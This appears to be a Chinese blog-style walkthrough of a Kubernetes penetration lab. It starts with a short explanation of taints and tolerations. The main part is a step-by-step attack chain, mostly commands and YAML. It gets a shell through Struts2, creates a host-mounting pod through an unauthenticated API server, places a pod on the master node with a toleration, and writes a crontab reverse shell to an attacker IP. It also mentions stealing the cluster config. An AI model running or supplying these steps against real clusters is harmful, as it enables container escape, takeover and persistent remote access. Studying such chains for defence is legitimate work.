Taint污点和容忍度Toleration
概念:污点(Taint)是一种节点属性,用于控制 Pod 能否被调度到该节点上,容忍度(Toleration)允许 Pod 调度到带污点节点。
为了方便理解,可以想成先对一个节点赋予污点属性,接着容忍度就可以允许Pod来这个带污点的节点
如果在编写关于容器的yaml配置文件,不指定他在哪一个node运行,那么就会根据算法调度找一个最合适的node。Taint 是节点的一种属性和调度限制机制:它主要用于控制哪些 Pod 可以或不可以被调度到该节点上,是基于节点的一种主动拒绝机制。
# 设置污点
kubectl taint nodes node1 xtz=value1:NoSchedule
# 去除污点
kubectl taint nodes node1 xtz:NoSchedule-
#节点说明中,查找 Taints 字段
kubectl describe node node-name
那么Taint这种机制会有什么影响呢?
解:在实战中,如果拿到了node1节点权限,正好它的master开启了Taint,那么就可以创建一个在master上的Pod横向移动到master去
内容详情可见https://cn-sec.com/archives/1336486.html
下面将利用到Taint污点和容忍度Toleration实战测试
k8s实战
环境是一个struts2镜像 第一条命令:创建structs2镜像;二:启动在8080端口;三:查看启动结果
130 131 132三个ip都可以访问到这个页面
利用脚本一键getshell
进入靶机后首先判断环境,是正常服务器1,还是docker环境下2,或者k8s下的docker3。敲入下面两条命令,什么都没有为1,有第一个没第二个为2,都有3。
现在知道所处环境后,就要尝试从容器中逃逸出来。因为之前写过有关docker方面的逃逸手法,结合我们搭建struct2环境的时候可以判断出,前三个没有问题,只能从第四个下手。一个一个筛选有很麻烦所以借助一个名为cdk的项目信息收集-利用
将cdk想办法上传-执行命令-提取信息
./cdk evaluate#信息收集命令
发现了存在API Server漏洞
发现k8s内部网段的ip
因为收集到了信息,可以通过apiserver未授权漏洞来逃逸,所以放弃docker逃逸
使用cdk自带的功能,向node提交pod
./cdk_linux_amd64 kcurl anonymous post
'https://10.96.0.1:443/api/v1/namespaces/default/pods/'
'{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\",\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory","name":"host"}]}}'
探针是否写入成功,用“”标注的部分是pod的id
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods |grep “创建的pod名字,以上图yaml为例是test02”
#或者上传kubectl使用
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
#curl命令因为是在容器内部使用,所以ip为10开头的k8s内部网段,kubectl命令是在自己主机上访问虚拟机,所以为虚拟机ip
上传kubectl启动容器,但是因为这并不是交互式界面,所以直接在webshell上无法输入账户密码,也无法启一个交互式(pty.spawn('/bin/bash')),docker里面用不了
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash#windows上
所以要直接写死,ls /host是因为挂载的host目录(前面post的数据)
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"#webshell上
但是由于post的数据里面没有指定写到哪一个节点上,导致出现漏洞是master上的,获取的权限却是node1(ps:最开始struts2是放在node2上的)
反正至少是获得了一台服务器权限了嘛,接着就结合使用Taint进行操作
首先前面信息收集发现master节点使用到了Taint
编写此yaml文件挂载到/master目录下,加粗部分为上图Taint对应值
apiVersion: v1
kind: Pod
metadata:
name: control-master-xiaodi
spec:
tolerations:
- key: node-role.kubernetes.io/master
operator: Exists
effect: NoSchedule
containers:
- name: control-master-xiaodi
image: ubuntu:18.04
command: ["/bin/sleep", "3650d"]#容器逃逸命令
volumeMounts:
- name: master
mountPath: /master
volumes:
- name: master
hostPath:
path: /
type: Directory
根据yaml文件创建容器然后查看状态,进入容器
./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a create
-f./x.yaml
./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a get pods
-o wide
./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "ls /master"
获得/root目录下的flag
./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "cat /master/root/flag"
为了方便后续可以写计划任务反弹shell什么的
echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab
./kubectl --server=https://10.96.0.1:443
--insecure-skip-tls-verify=true --username=a --password=a exec control-master-xiaodi -- bash -c "echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab"
但最后收到shell的ip居然是131,也就是node1。多试几次就可以弹master过来。果然和k8s脱不了关系。。。
也可以偷它的config文件登录dashboard,一样的
Comments NOTHING